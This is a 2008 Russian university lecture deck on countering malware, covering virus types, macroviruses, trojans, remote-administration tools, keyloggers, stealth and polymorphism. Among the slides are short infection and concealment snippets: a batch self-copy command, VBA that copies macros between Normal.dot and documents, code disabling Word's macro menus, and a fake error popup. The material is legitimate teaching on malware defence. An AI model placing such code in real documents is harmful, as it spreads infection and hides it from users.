• Шумовая модификация равносильна удалению
информации и является заменой файла или его части
хаотичной последовательностью байт.
• Смысловая модификация производится с намерением
изменить смысл или функциональность компьютерной
информации.
• Вирусная модификация компьютерной информации не
только приводит к изменению структуры файла,
алгоритма работы программы, разрушению данных, но
превращает атакованный файл во вредоносный,
увеличивая тем самым число опасных активных
программ внутри системы.
Копирование
компьютерной
информации –
это повторное и
устойчивое ее
запечатление на
машинном или ином
носителе средствами
ЭВМ.
Нарушением работы ЭВМ
со стороны вредоносной
программы являются
многочисленные по форме
и проявлению
последствия, делающие
невозможным ввод, вывод,
отображение, передачу,
прием, копирование,
удаление и иные виды
обработки информации.
Виды нарушения работы ЭВМ со
стороны вредоносных программ
• Создание помех вводу текстовой информации.
• Создание помех пользователю по управлению компьютером
• Выключение монитора или принудительный перевод его в
«спящий» режим.
• Искажение информации, выводимой на экран монитора, за
счет изменения частоты строчной или кадровой развертки.
• Манипуляция окнами: сворачивание, закрытие,
перемещение их за пределы экрана или по экрану, изменение
размеров и т. п.
• Имитация разнообразных и правдоподобных нарушений в
работе аппаратуры: появление многочисленных сбойных
секторов на жестком диске, периодическое и раздражающее
обращение к приводу гибких магнитных дисков,
сопровождение клавиатурного ввода различными звуками,
периодическое изменение цветопередачи и разрешающей
способности монитора и др.
• Вывод правдоподобных тревожных сообщений от имени
операционной системы.
Реальные деструктивные действия
вредоносных программ
• Добывание конфиденциальной информации в
компьютерной системе (о пользователе,
аппаратуре, программах, данных)
• Разведка и преодоление защиты, создание
условий для последующего доступа
• Причинение имущественного вреда (порча
аппаратуры, результатов труда, кража
оплаченных сеансов в Интернет,
необходимость затрат на восстановление
после атаки)
Реальные деструктивные действия
вредоносных программ
• Блокирование работы ЭВМ (путем захвата
ресурсов, имитации повреждений,
перехвата и перенаправления команд
пользователя и др.)
• Причинение морального вреда
пользователю (испуг, осознание
беспомощности перед компьютером и др.)
• Причинение ущерба авторским правам
Классификация вредоносных программ по деструктивным функциям
• Безвредные, т. е. не влияющие на работу компьютера,
если не считать использования ими процессорного
времени, адресного пространства оперативной памяти и
места на диске.
• Неопасные, проявляющие себя звуковыми и/или
визуальными эффектами.
• Опасные, приводящие к порче компьютерной
информации и существенным сбоям в работе
компьютера: сбросу CMOS-памяти, логическому
стиранию файлов и каталогов, изменению системных
параметров и др.
• Особо опасные, способные причинить значительный
ущерб компьютерной информации или вызвать
серьезные повреждения узлов компьютера, вызывая
форматирование фиксированных дисков, разрушение
файловой системы, системного реестра, стирание BIOS.
Иерархия программных
опасностей
• Присутствие в системе посторонних процессов, которые
ничем опасным себя не проявляют.
• Генерация звуковых и визуальных эффектов.
• Имитация программных сбоев и неисправностей
аппаратуры.
• Модификация, перемещение, удаление файлов и
каталогов, манипуляции с их атрибутами.
• Удаление файловой системы или ее части.
• Форматирование фиксированных магнитных дисков.
• Перепрограммирование BIOS и периферийных
устройств с энергонезависимой памятью, приводящее к
повреждению или длительной неработоспособности
аппаратуры.
• Опасное воздействие на здоровье пользователя.
Шутливые сообщения
• Вентилятор защищен от
записи!
• Дырка в диске С:
• В дисководе А:\ две
дискеты!
• Invalid user at the
computer!
• Insert 10$ in floppy drive A:
Имитация правдоподобных
отказов аппаратуры
• «Торможение» или неверное позиционирование
курсора манипулятора
• «Отказ» одной или нескольких клавиш на
клавиатуре
• Периодическое выключение монитора, изменение
цветопередачи, частоты разверток
• Выдача сообщений о защите сменных носителей от
записи файлов
• Шум во встроенном динамике при наборе текста
• Выдача информации о большом числе плохих
секторов на винчестере (при тестировании и др.)
Имитация сбоев системного
программного обеспечения
«Мифические» вредоносные
программы
• «Попытка проанализировать
машинный код такого вируса
приводит к активизации
специального модуля, который
вводит головки винчестера в
резонанс и путем хитроумной
комбинации определенных звуковых
и видеоэффектов убивает
программиста прямым
кровоизлиянием в мозг, после чего
перепрограммирует блок питания
так, что компьютер буквально
взрывается, уничтожая следы
преступления» - Крис Касперски
Возможности порчи аппаратуры
путем ее перепрограммирования
• Стирание Flash-BIOS на программном
уровне
• Изменение текущих настроек монитора в
энергозависимой памяти
• Программирование стабилизатора питания
системного блока или устройства
бесперебойного электропитания
• Программная модификация служебных
таблиц контроллера жесткого магнитного
диска, защитное блокирование HDD
• Модификация «прошивки» модемов и др.
Компьютерные
вирусы
Происхождение вирусов
• В 1951 году фон Нейман
описал метод создания
самовоспроизводящихся
механизмов
Отличительные свойства
компьютерных вирусов
• Паразитическое существование размещение внутри программного файла
или программного фрагмента
• Способность к саморазмножению через
внедрение в другие программы
• Выраженные деструктивные действия
• Наличие латентного (скрытого) периода
• Признаки авторства
Классическое определение
вирусов (Ф.Коэн)
• «Компьютерный вирус - программа,
которая может заражать другие
программы, модифицируя их
посредством добавления своей,
возможно измененной, копии»
• «Копии» вируса могут структурно и
функционально отличаться между
собой
Сущность вирусного заражения
• Процесс - копирование двоичного или текстового
кода в другой файл. Если этот файл уже существует он модифицируется. Если не существует - он
создается.
• Созданный или модифицированный файл должен
иметь возможность автоматического или ручного
запуска.
• При запуске инфицированного файла он вновь
копирует свой код в другие файлы.
• Перед модификацией возможна проверка на наличие
вирусного кода (чужой вирус уничтожается)
Файловые вирусы
• При инфицировании внедряются в исполняемый
файл, точнее в такое его место, откуда они могут
перехватить управление
• При запуске ищут другие исполняемые файлы на
дисковом пространстве и заражают их
• Вирусы этого типа были очень распространены в
операционной системе MS DOS. Совершали
деструктивные действия путем непосредственного
обращения к ресурсам компьютера.
• В защищенных операционных системах используют
многочисленные способы внедрения в исполняемые
файлы PE- и ELF-формата
Загрузочные вирусы
• Вирус, или его заголовок размещается в загрузочном
секторе (загрузочной области) диска и
перехватывает управление перед загрузкой
операционной системы
• Инфицирование происходит путем записи
вредоносного кода в загрузочные сектора каждого
сменного машинного носителя
• Вирусы могут совершать опасные функции и при
использовании защищенных ОС, поскольку
загружаются и исполняются в первую очередь
Макровирусы
Макровирус - это событийно управляемый
интерпретируемый код, содержащийся в
программных сегментах (блоках) документов
и шаблонов приложений офисного пакета
фирмы Microsoft, обладающий свойством
копирования в другие документы и шаблоны в
ходе сеансов работы, и способный к
выполнению различного рода деструктивных
и (или) шпионских функций.
Варианты размещения и
функционирования вредоносного
макрокода в Word:
В глобальном шаблоне,
В присоединенном шаблоне,
В общем шаблоне,
В документе Word,
В файле автосохранения (.asd),
В файле надстройки (.wll)
Команды, обеспечивающие вирусное
заражение пакетных файлов
• copy %0 %1 (%0 - имя выполняемого
пакетного файла, %1 - первый параметр
командной строки).
• Пример: abcd.bat efgh.bat
• @ECHO OFF
• COPY 0.BAT C:\Q.COM >NUL
• C:\Q
Механизмы вирусного заражения
шаблонов и документов
Set AD = ActiveDocument.VBProject.
VBComponents(1).CodeModule
Set NT = NormalTemplate.VBProject
VBComponents(1).CodeModule
AD.InsertLines 1,NT.Lines
(1,NT.CountOfLines)
Механизмы вирусного заражения
шаблонов и документов
Sub AutoOpen ()
Application.OrganizerCopySource:=
"C:\Program Files\
MicrosoftOffice\Шаблоны\NORMAL.DOT",
Destination:= "Документ1",
Name:="NewMacros",
Object:=wdOrganizerObjectProjectItems
End Sub
Программные закладки - это
особая категория вредоносных
программ,
запрограммированных на
скрытое добывание
информации в компьютерной
системе
Отличительные свойства
программных закладок
• Скрытность работы на всех этапах
жизненного цикла
• Отсутствие механизма саморазмножения
• Явно выраженные «шпионские»
функции
• Отсутствие демонстративных и
выраженных вредоносных действий
• Анонимность разработки и пользования
Функции, реализуемые
программными закладками
• Различные виды перехвата информации
• Выявление защитных функций ОС и
приложений, их нейтрализация
• Повышение полномочий злоумышленника
• Избирательное уничтожение информации
Информация, перехватываемая
программными закладками
•Перехват клавиатурного и манипуляторного
ввода
•Перехват аутентифицирующей информации
•Перехват информации, выводимой на печать
•Перехват документов, выводимых для
редактирования
•Перехват удаляемой информации
(предполагается, что хранимая информация для
закладки недоступна (шифрование и др.)
Функции- «осведомители»
операционной системы
• Фиксация изменений в аппаратной
конфигурации
• Предоставление приложениям информации об
изменениях в файловой системе
• Слежение за процессами и потоками
(системный «шпион»)
• Перехват сообщений, адресованных другим
процессам (ловушки - Hooking) за счет
внедрения DLL в адресное пространство
другого процесса
Слежение за пользователем
• Хронометраж работы
• Кто работал
PC Spy
(клавиатурный почерк)
Папарацци
• Характер деятельности
(расчеты, работа с
документами,
программирование, игры)
• Запускаемые программы
• Исполняемые документы
• Снимки экрана
Log,
Клавиатурные перехватчики
• Фиксация
клавиатурного набора
• Фиксация «щелчков»
мышью
• Шифрование и скрытие
перехваченной
информации
• Вывод на дискету или
KeyLogger, HookDump, PC
Activity Monitor Pro (PAMP иe-mail
другие
Сравнительный жизненный цикл
вредоносных программ
•
•
•
•
•
•
ВИРУСЫ
Проникновение
Запуск на
исполнение
Заражение
*********
Заражение
Деструктивные
действия
•
•
•
•
•
ЗАКЛАДКИ
Скрытое
проникновение
Легализация
Отбор информации
Упаковка и вывод
отобранной
информации
Самоликвидация
«Логические бомбы»
• «Логической бомбой»
называется фрагмент (модуль,
процедура, функция) общей
программы, который
запускается по определенному
событию и совершает
определенные вредоносные
действия
• Создатель «логической бомбы»
- как правило программистразработчик программы
«Логическая
бомба» может
составлять
часть иной
вредоносной
программы
Примеры «логических бомб»
• Программа на распечатку
бухгалтерской ведомости
начисления зарплаты,
которая разрушает базу
данных, если в ее списке не
окажется фамилии
программиста-разработчика
• Шифрование базы данных с
требованием выкупа за
предоставление ключа
Клиентсерверные
программы
(удаленного
администрирования)
Характерные особенности программ
удаленного администрирования
• Являются клиент-серверными приложениями
• Разработаны на базе программного
интерфейса WinSock
• Вредоносная ветвь является развитием
специального класса программ, позволяющих
системному администратору в удаленном
режиме управлять рабочими станциями
• Программы позволяют работать на
удаленном компьютере, как на своем
собственном
Программы «удаленного
администрирования»
TCP/IP
SPX/IPX
• Back Orifice
• Net Sphere
• Sub Seven Gold
• NetBus
• Y3K RAT
• Trojan Cow
• Donald Dick
• Girl Friend
• Deep Throat
•Cafeini
Функции серверного модуля
• Это обычный процесс, запускаемый с
правами пользователя
• Программа при установке обеспечивает
себе возможность автозапуска (через реестр,
системные файлы, драйверы виртуальных
устройств)
• Варианты поведения: пассивный
(ожидание команд с определенного сокета,
активный - выдача сообщений о готовности
к работе)
Возможности программ
«удаленного администрирования»
• Поддерживаемые операционные
системы: Windows 9x, Windows NT 5.0
• Поддерживаемые протоколы
транспортного уровня: TCP, SPX.
• Полный контроль файловой системы
(получение списка, создание, удаление,
переименование, копирование,
изменение атрибутов, изменение прав
доступа)
Возможности программ
«удаленного администрирования»
• Полный контроль системного реестра
(просмотр, создание, удаление, изменение
ключей реестра и их значений)
• Процессы: (просмотр списка, завершение,
запуск, изменение приоритетов процессов и
потоков)
• Окна: (просмотр списка окон, посылка
сообщений, изменение элементов, снятие
«слепка» экрана или окна)
Возможности программ
«удаленного администрирования»
• Система: получение и изменение
системных параметров
• Клавиатура: просмотр буфера нажатий
клавиш, посылка нажатий
• CMOS: чтение и запись памяти
• Пароли: (BIOS, ScreenSaver, ресурсы
Windows NT/2k)
Деструктивные возможности
программ удаленного
администрирования
• Гашение экрана или изменение его
разрешения
• Выключение любых клавиш клавиатуры
• «Замораживание» курсора мыши
• Удаление «иконок», часов, кнопки «Пуск»,
панели задач
• Открытие и закрытие лотка CD-ROM и др.
Сетевые «черви»
«Червь - это компьютерная программа, обладающая
репродуктивными навыками и способная к
самостоятельному перемещению по сети без участия
пользователей за счет использования различных
уязвимостей: сетевых протоколов, слабых паролей,
ошибок в программном обеспечении» - Крис
Касперски
Сетевые «черви»
Сетевой червь состоит из «головы» и «туловища».
«Голова» или загрузчик, пользуясь уязвимостью,
проникает в систему, организует канал связи и
транспортирует в компьютер свое «туловище»
Особенности программы
I LOVE YOU
• Программа поступает по электронной почте
или по каналам IRC
• Основной файл “LOVE-LETTER-FOR-YOU.
TXT.vbs (с расчетом на отключение
расширений для зарегистрированных типов)
• Программа создает три своих копии с
разными именами в C:\Windows\[System]
• Записывает свои копии в файлы с расширениями .jpg, .vbs, .sct, .hta, .vbe
«Жадные» программы
Ресурсы компьютера
Оперативная
память
Доступ к
устройствам
ввода-вывода
(УВВ)
Процессорное
время
Захват ресурсов – программа
захватывает все ресурсы
компьютера, которые может
получить. Например,
программа присваивает себе
наивысший приоритет и уходит
в вечный цикл
Бомбардировка
трудновыполнимыми
запросами – программа в
вечном цикле направляет
операционной системе запросы,
выполнение которых требует
больших затрат ресурсов
компьютера
Программы «глюки»
Примеры программ - «глюков»
Примеры программ - «глюков»
ФЕДЕРАЛЬНОЕ АГЕНТСТВО ПО ОБРАЗОВАНИЮ
Государственное образовательное учреждение высшего профессионального образования
“Уральский государственный университет им. А.М. Горького”
ИОНЦ “Информационная безопасность”
математико-механический факультет
кафедра алгебры и дискретной математики
УЧЕБНО-МЕТОДИЧЕСКИЙ КОМПЛЕКС
Противодействие созданию и распространению
вредоносных программ
МАКРОВИРУСЫ
Автор: доцент кафедры алгебры и
дискретной математики В.В. Бакланов
Екатеринбург, 2008
Макровирусы
Определение
Макровирус - это событийно управляемый
интерпретируемый код, содержащийся в
программных сегментах (блоках) документов
и шаблонов приложений офисного пакета
фирмы Microsoft, обладающий свойством
копирования в другие документы и шаблоны в
ходе сеансов работы, и способный к
выполнению различного рода деструктивных
и (или) шпионских функций, наносящих
ущерб конфиденциальности, целостности и
доступности компьютерной информации
“Теперь
Microsoft Office –
операционная
система, а Visual
Basic – ее API”.
Особенности макрокода
• Использование в качестве операционной
системы приложений офисного пакета
• Размещение в документах, шаблонах и
надстройках
• Текстовый формат интерпретируемого кода
• Использование возможностей автозапуска и
событийного управления
• Хорошая «переносимость» на иную
аппаратно-программную платформу
«Шпионские» и деструктивные
возможности макровирусов
• Возможность контроля за
документами на этапе их создания
• Любые деструктивные действия,
доступные через вызов функций
Win32 API, объектов компонентных
моделей WScript, FileSystemObject,
команд MS DOS.
Некоторые возможности
макрозакладок
• Закладка получает доступ к
зашифрованным документам Word в
процессе их просмотра и редактирования
пользователем, производит контекстный
поиск, отбор и сохранение нужного текста
• Производится контроль за входящими и
исходящими почтовыми отправлениями,
составляемыми и просматриваемыми в
среде текстового процессора.
Некоторые возможности
макрозакладок
• Закладка может использоваться против
опытного пользователя, обеспечивая ему
возможность свободного просмотра всех
окон VBE, а также запись и исполнение
собственных макросов
• Закладка может снимать и устанавливать
уровни защиты от вирусов в макросах,
скрытно подключать и отключать
вспомогательные шаблоны с большим
объемом макрокода
Причины распространения
макровирусов
• Microsoft Office - базовая среда для
разработки и редактирования документов
• Интегрированная среда разработки документов обеспечивает изоляцию от защитных механизмов операционной системы
• Широкие возможности встроенной в Office
интегрированной среды программирования наряду с легкостью освоения VB и VBA
начинающими пользователями.
Код макровируса может
исполняться из:
глобального шаблона Normal.dot
присоединенного шаблона с любым
именем и расширением
компилированного файла надстройки
с расширением .wll
открытого документа Word
Шаблоны Word
• Обычный
или глобальный
шаблон, реализованный в виде
отдельного файла с именем
Normal.dot.
• Шаблон, присоединенный к документу
(с любым именем и
расширением)
• Дополнительные общие
шаблоны.
Механизмы вирусного заражения шаблонов и документов
Set AD = ActiveDocument.VBProject.
VBComponents(1).CodeModule
Set NT = NormalTemplate.VBProject
VBComponents(1).CodeModule
AD.InsertLines 1,NT.Lines
(1,NT.CountOfLines)
Механизмы вирусного заражения шаблонов и документов
Sub AutoOpen ()
Application.OrganizerCopySource:=
"C:\Program Files\
MicrosoftOffice\Шаблоны\NORMAL.DOT",
Destination:= "Документ1",
Name:="NewMacros",
Object:=wdOrganizerObjectProjectItems
End Sub
Событийное управление кодом
макровируса
• Процедуры могут быть обычными и
событийными
• Событийная процедура содержит код,
обрабатывающий некоторое событие,
связанное с действиями пользователя или
операционной системы
• Чтобы процедура стала событийной,
необходимо назвать ее соответствующим
образом
Автоматически запускаемые
макросы
• AutoExec - при запуске Word или загрузке
глобального шаблона
• AutoNew - при создании нового документа
• AutoOpen - при открытии существующего
документа
• AutoClose - при закрытии документа
• AutoExit - при закрытии Word или выгрузке
глобального шаблона
События, связанные с
документами
Private Sub Document_Open()
Код макроса
End Sub
Private Sub Document_New()
Код макроса
End Sub
Private Sub Document_Close()
Код макроса
End Sub
Размещение
событийных
процедур только во
встроенном
модуле
ThisDocument
Использование встроенных
команд Word
Sub FileSave()
Сохранение активного документа или шаблона
End Sub
Sub ToolsMacro()
Доступ к диалоговому окну “Макрос”
End Sub
Sub ViewVBCode()
Доступ к редактору VBE
End Sub
Процедуры должны
быть открытыми !
Приоритеты
• Приоритеты шаблонов: присоединенный
шаблон документа - глобальный шаблон общий шаблон
• Приоритеты модулей: встроенный модуль модуль макросов - стандартные модули модули класса
• Приоритеты событийных процедур:
автоисполняемые - процедуры с
событиями документов - процедуры с
именами встроенных команд Word
Демаскирующие признаки
вредоносного макрокода
Визуальная видимость программных
модулей,
процедур,
функций
(присутствие
имени,
интерпретируемого кода и др.) в
диалоговых окнах приложения обнаруживается пользователем при
открытии диалоговых окон
Диалоговые окна Word и VBE
Диалоговые окна «Макрос»,
«Шаблоны и надстройки»,
«Организатор», дочерние
окна редактора VBE
позволяют пользователю
обнаружить присутствие
присоединенных шаблонов,
модулей и процедур
программной закладки
Демаскирующие признаки
макрокода
• Окно “Макрос”. В окне видимы все
открытые процедуры всех открытых
модулей документа, Normal.dot и
присоединенных шаблонов
• Окно “Расположение” меню “СервисПараметры”. В окне просматриваются
полные маршруты (Path) к глобальному
шаблону Normal.dot и папке автозагрузки.
Диалоговое окно «Макрос»
Демаскирующие признаки
макрокода
• Окно “Организатор”. Видны названия всех
модулей и форм, размещенных в глобальном шаблоне Normal.dot и активном
документе
• Окна редактора VBE. Видны названия
проектов, модулей и процедур, а также
интерпретируемые коды макросов
• Окно “Шаблоны и надстройки”. Видны
наименования шаблонов и надстроек,
подключенных к глобальному шаблону.
Диалоговое окно «Организатор»
Основное окно редактора VBE
Окно «Шаблоны и надстройки»
Дочернее окно VBE - «Проект»
Демаскирующие признаки
вредоносного макрокода
Присутствие интерпретируемого кода
в шаблонах, документах и временных
файлах - обнаруживается
антивирусными программами,
встроенной защитой от вирусов в
макросах, пользователем в режиме
просмотра файлов с помощью Far,
Norton Commanrer и др.
Демаскирующие признаки
вредоносного макрокода
Замедление
или
неестественное
выполнение операций при работе с
файлами,
текстом,
таблицами,
рисунками.
Генерация сообщений об ошибках
при
некорректном
выполнении
программы
Признаки, демаскирующие
присутствие и работу макроса
• Необоснованное обращение Word к
файлам и разделам реестра (отслеживается с помощью специальных
программ: файлового монитора,
монитора реестра и др.)
Скрытие макроса от обнаружения ОС или пользователем
• Защита кода от визуального обнаружения
(скрытие от просмотра в диалоговых
окнах)
• Скрытие имени и расположения шаблонов
с кодом закладки
• Обработка ошибок периода выполнения
• Скрытие обращений к файлам и
системному реестру
• Оптимизация интерпретируемого кода
Процедуры скрытия визуальных признаков присутствия
• Запускаются при
наступлении событий,
связанных с
открытием «опасных»
диалоговых окон
• На время открытия
диалогового окна
уничтожают признаки,
демаскирующие
макрос
Блокирование “опасных” элементов
управления, позволяющих получить
доступ к диалоговым окнам
командной кнопки “Макросы” на панели
Visual Basic:
CommandBars(9).Controls(1).Enabled=False,
элемента меню “Сервис-Макрос-Макросы”:
CommandBars.ActiveMenuBar.Controls(6).Controls(12).
Controls(1).Enabled = False,
комбинации “горячих” клавиш:
CustomizationContext = NormalTemplateFindKey
(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
Установка парольной защиты на
проект шаблона и документа
Вывод сообщения об ошибке
Sub ViewVBCode ‘встроенная команда Word,
связанная с открытием окна VBE
Result = MsgBox ("Программа выполнила
недопустимую" & Chr(13) & "операцию и
будет закрыта" & Chr(13) & Chr(13) & "Если
эта ошибка будет повторяться," & Chr(13)
& "обратитесь к разработчику", 4113,
"Winword")
End Sub
Использование «подставного»
диалогового окна
Способы обхода механизмов
антивирусной защиты
• Использование «доверительных
отношений» Word 8.0 к глобальному
шаблону и автосохраненному
документу
• Программное отключение защиты от
вирусов в макросах
• Использование настроек системного
реестра
Особенности программ типа
“Melissa”
•Программа совмещает качества макровируса, почтового вируса и сетевого червя
•Заражение происходит в связке «Документ-глобальный шаблон»
•Код размещается в модуле ThisDocument”
•Программа снимает защиту от вирусов в
макросах
•Производится рассылка копий через
Microsoft Outlook (по адресной книге)
Конец показа
Возможности вредоносных
программ офисного «базирования»
• Полный контроль за разрабатываемыми
документами
• Возможность использования функций
Win32 API
• Доступ к реестру и иным системным
функциям
• Манипуляция защитными механизмами
• Возможность скрытого запуска других
приложений
Варианты размещения и
функционирования кода
В глобальном шаблоне,
Во вспомогательном шаблоне,
В документе Word,
В файле автосохранения (.asd),
В файле надстройки (.wll)
ФЕДЕРАЛЬНОЕ АГЕНТСТВО ПО ОБРАЗОВАНИЮ
Государственное образовательное учреждение высшего профессионального образования
“Уральский государственный университет им. А.М. Горького”
ИОНЦ “Информационная безопасность”
математико-механический факультет
кафедра алгебры и дискретной математики
УЧЕБНО-МЕТОДИЧЕСКИЙ КОМПЛЕКС
Противодействие созданию и распространению
вредоносных программ
СЕТЕВЫЕ ВРЕДОНОСНЫЕ ПРОГРАММЫ
Автор: доцент кафедры алгебры и
дискретной математики В.В. Бакланов
Екатеринбург, 2008
Признаки «вредоносности» с
позиций законодательства
• Действие программы по
уничтожению, блокированию,
модификации, копированию
информации
• Действие программы без
уведомления и согласия со стороны
собственника (добросовестного
пользователя)
Способы управления
компьютерной системой
• Внедрение и автономное исполнение
готовых программ
• Создание и запуск исполняемого кода непосредственно на атакуемом компьютере
• Ручное управление процессами с
помощью манипуляторов и клавиатуры
• Дистанционное (удаленное) управление
компьютером с использованием сетевых
протоколов и специальных клиентсерверных программ
Классификация сетевых
вредоносных программ
• Клиент-серверные программы «удаленного
администрирования»
• Почтовые и офисные «черви» (заражение +
добывание информации + деструктивные
действия)
• Автономные программы - «шпионы»
• Программы DoS (реализация блокирующих
атак)
• Прочие программы
Цели создания и функционирования
сетевых вредоносных программ
• Получение регистрационных данных
для доступа к сети Internet и иным
информационным ресурсам
• Добывание данных о пользователе и
компьютерной системе
• Совершение деструктивных действий
Режимы работы сетевых
программ
• «Наблюдатель» (ведение мониторинга)
• «Администратор» (ограничение
полномочий наблюдаемого, управление
настройками операционной системы)
• «Суфлер» (хэлпы, советы, справки, и др.)
• «Робот» (дистанционное управление)
• «Партизан» (отслеживание активности
программ шифрования, стеганографии с
перехватом ключей и данных)
«Вредоносные»
программы имеют право
на место «жительства» и
место «работы»
Конституция
вредоносных программ
ст. 21Н
Где «живут» вредоносные
программы
•
•
•
•
•
В загрузочном секторе диска
В расширенной области Flash-BIOS
На дополнительно размеченных дорожках
В зарезервированных секторах
системной области диска
Где «живут» вредоносные
программы
• Внутри исполняемых файлов
• В «сбойных» кластерах дисковой памяти
• В свободных (не занятых) областях
дисковой памяти
• В пустых секторах, выделенных файлам
• В виде самостоятельных файлов с
закамуфлированными именами, типами,
иконками и др.
Пути проникновения
вредоносных программ
• С использованием машинных носителей
• По сети
• Создание на атакуемом компьютере
Если представить вредоносную
программу живым организмом,
то единственной формой ее
жизни будет запуск «на
исполнение», что означает
управление компьютером от
имени его «мозга» центрального процессора
Способы запуска вредоносных
программ
Пользователем в
интерактивном
режиме
Дистанционно
с помощью
клиентской
программы
Автоматически
при запуске
операционной
системы и
приложений
Способы автоматического запуска программ в ОС Windows
•
•
•
•
•
Из системного реестра (Run, RunServices)
Из файлов Win.ini, System.ini (“run=path”)
Из папки «Автозагрузка»
Из командной строки приложений
При запуске приложений и открытии
документов офисного пакета
• При запуске другими программами
• При вызове библиотек, файлов справки,
утилит и др.
Автоматический запуск программ
Автоматический запуск программ
Автоматический запуск программ
Автозапуск при
запуске любой
исполняемой
программы
Запуск сетевых программ в
интерактивном режиме
• Обман пользователя
мнимыми возможностями
программы
• Использование длинных имен файлов
с точками и пробелами
• Наличие интерпретируемого кода в
документах
• Пренебрежение средствами защиты
браузеров и почтовых программ
Предлоги для запуска программ
• «Ускорители»
процессора и памяти
• Ускорители браузера
• Программы с
номерами кредитных
карточек
• Программы,
обеспечивающие
защиту от чего угодно
Хакер №4/Y2k. «Как мне впарили трояна»
Пример исполняемого файла с
длинным именем
Отличительные признаки
«троянских» программ
Привлекательность для
потенциального пользователя
Способность к выполнению
документированных функций
Наличие
встроенной
структуры или
функции,
скрытно
выполняющей
вредоносные
действия
Функции «троянских» программ
• Скрытая «доставка» вредоносной
программы к месту ее постоянной
«дислокации»
• Однократный скрытый запуск вредоносной
программы в процессе инсталляции и/или
распаковки «троянской» программы
• Предоставления места для постоянного
размещения вредоносной программы
Сборка «троянской» программы
Файл 3
Файл 2
Заголовок
Файл 1
Joiner, One
EXE Maker
2000 и др.
Распаковка «троянской»
программы
Распаковщик
1
2
Процессы
3
Пиплы, не стоит
юзать всякую прогу,
которую вы
сливаете с Инета !
Алгоритмы скрытности
вредоносных программ
• Резидентность (постоянное нахождение в
оперативной памяти)
• Stealth-алгоритмы
• Самошифрование и полиморфизм
• Нестандартные приемы
Полиморфные программы
56 87 А2 FC
E0 DC 3B 81
01
24
Полиморфизм кода как реализация модели изменчивости
• Замена программируемых регистров ЦП
• Замена инструкций на эквивалентные
• Изменение порядка следования
независимых инструкций
• Внедрение случайным образом
зашумляющих инструкций
• Шифрование основного кода с переменным
ключом
Примеры замены исполняемого
кода
• mov op1 op2
• inc op
• add op1, op2
• push op2
pop op1
• add op, 1
• xchg op2, ax
add op1, ax
xchg op2, ax
Особенности «стелс»-программ
• Скрытие факта своего присутствия в
системе
• «Лечение» зараженных файлов
• Перехват опасных прерываний и
сообщений
• Изменение места «дислокации» в
дисковой памяти
• Отключение функций проверки
оперативной памяти в командной
строке антивирусной программы
Клиент-серверные
программы (удаленного
администрирования)
Программы «удаленного
администрирования»
TCP/IP
SPX/IPX
• Back Orifice
• Net Sphere
• Sub Seven Gold
• NetBus
• Y3K RAT
• Trojan Cow
• Donald Dick
• Girl Friend
• Deep Throat
Процесс «сетевого
администрирования»
Результаты
перехвата,
исполнение команд
Команды
управления
Внедряемый модуль
Возможности программ
«удаленного администрирования»
• Поддерживаемые операционные
системы: Windows 9x, Windows NT/2k
• Поддерживаемые протоколы
транспортного уровня: TCP, SPX.
• Полный контроль файловой системы
(получение списка, создание, удаление,
переименование, копирование,
изменение атрибутов, изменение прав
доступа)
Возможности программ
«удаленного администрирования»
• Полный контроль системного реестра
(просмотр, создание, удаление, изменение
ключей реестра и их значений)
• Процессы: (просмотр списка, завершение,
запуск, изменение приоритетов процессов и
потоков)
• Окна: (просмотр списка окон, посылка
сообщений, изменение элементов, снятие
«слепка» экрана или окна)
Возможности программ
«удаленного администрирования»
• Система: получение и изменение
системных параметров
• Клавиатура: просмотр буфера нажатий
клавиш, посылка нажатий
• CMOS: чтение и запись памяти
• Пароли: (BIOS, ScreenSaver, ресурсы
Windows NT/2k)
Деструктивные возможности
программ удаленного
администрирования
• Гашение экрана или изменение его
разрешения
• Выключение любых клавиш клавиатуры
• «Замораживание» курсора мыши
• Удаление «иконок», часов, кнопки «Пуск»,
панели задач
• Открытие и закрытие лотка CD-ROM и
др.
Функции серверного модуля
• Это обычный процесс, запускаемый с
правами пользователя
• Программа при установке обеспечивает
себе возможность автозапуска (через реестр,
системные файлы, драйверы виртуальных
устройств)
• Варианты поведения: пассивный
(ожидание команд с определенного сокета,
активный - выдача сообщений о готовности
к работе)
Способы обнаружения программ
«сетевого администрирования»
• Проверка активности логических портов
• Осмотр ключей реестра на предмет
обнаружения автоматически загружаемых
программ
• Осмотр системных папок на предмет
обнаружения внедренных файлов
• Выявление подозрительных эффектов
• Просмотр списка выполняемых процессов
Изощренные способы
маскировки (Donald Dick 2)
• Использование протокола IPX/SPX,
слабо контролируемого средствами
защиты от соединений
• Отказ от стандартных методов
автозагрузки (стирание сервисов
запуска из реестра, использование VxD
и др.)
• Шифрация исполняемого файла
Хакер №7/2000. «Плохие парни любят утку»
Слежение за пользователем
• Хронометраж работы
• Кто работал
PC Spy
(клавиатурный почерк)
Папарацци
• Характер деятельности
(расчеты, работа с
документами,
программирование, игры)
• Запускаемые программы
• Исполняемые документы
• Снимки экрана
Log,
Клавиатурные перехватчики
• Фиксация
клавиатурного набора
• Фиксация «щелчков»
мышью
• Шифрование и скрытие
перехваченной
информации
• Вывод на дискету или
KeyLogger, HookDump, PC
Activity Monitor Pro (PAMP иe-mail
другие
Сетевые программы
«офисного» типа
Особенности «офисных»
программ
• Использование интерпретируемого
кода VBA, VBScript, JavaScript
• Использование объектных моделей
ActiveX (FileSystemObject и др.)
• «Заражение» почтовых отправлений и
офисных документов
• Совершение «шпионских» и
деструктивных функций
Возможности вредоносных программ офисного «базирования»
• Полный контроль за разрабатываемыми
документами
• Возможность использования функций
Win32 API
• Доступ к реестру и иным системным
данным
• Манипуляция защитными механизмами
• Возможность скрытого запуска других
приложений
Особенности макрокода
• Использование в качестве операционной
системы приложений офисного пакета
• Размещение в документах, шаблонах и
надстройках
• Текстовый формат
• Использование возможностей автозапуска и
событийного управления
• Хорошая «переносимость» на иную
аппаратно-программную платформу
Фрагмент макровируса в
WinWord 97/2000
Sub AutoOpen ()
Application.OrganizerCopySource:= "C:\Program Files\
MicrosoftOffice\Шаблоны\NORMAL.DOT",
Destination:= "Документ1", Name:="NewMacros",
Object:=wdOrganizerObjectProjectItems
End Sub
Особенности программ типа
“Melissa”
•Заражение происходит в связке «Документ-глобальный шаблон»
•Код размещается в модуле ThisDocument”
•Программа снимает защиту от вирусов в
макросах
•Программа совмещает качества макровируса, почтового вируса и сетевого червя
•Производится рассылка копий через
Microsoft Outlook (по адресной книге)
Особенности программы
I LOVE YOU
• Программа поступает по электронной почте
или по каналам IRC
• Основной файл “LOVE-LETTER-FOR-YOU.
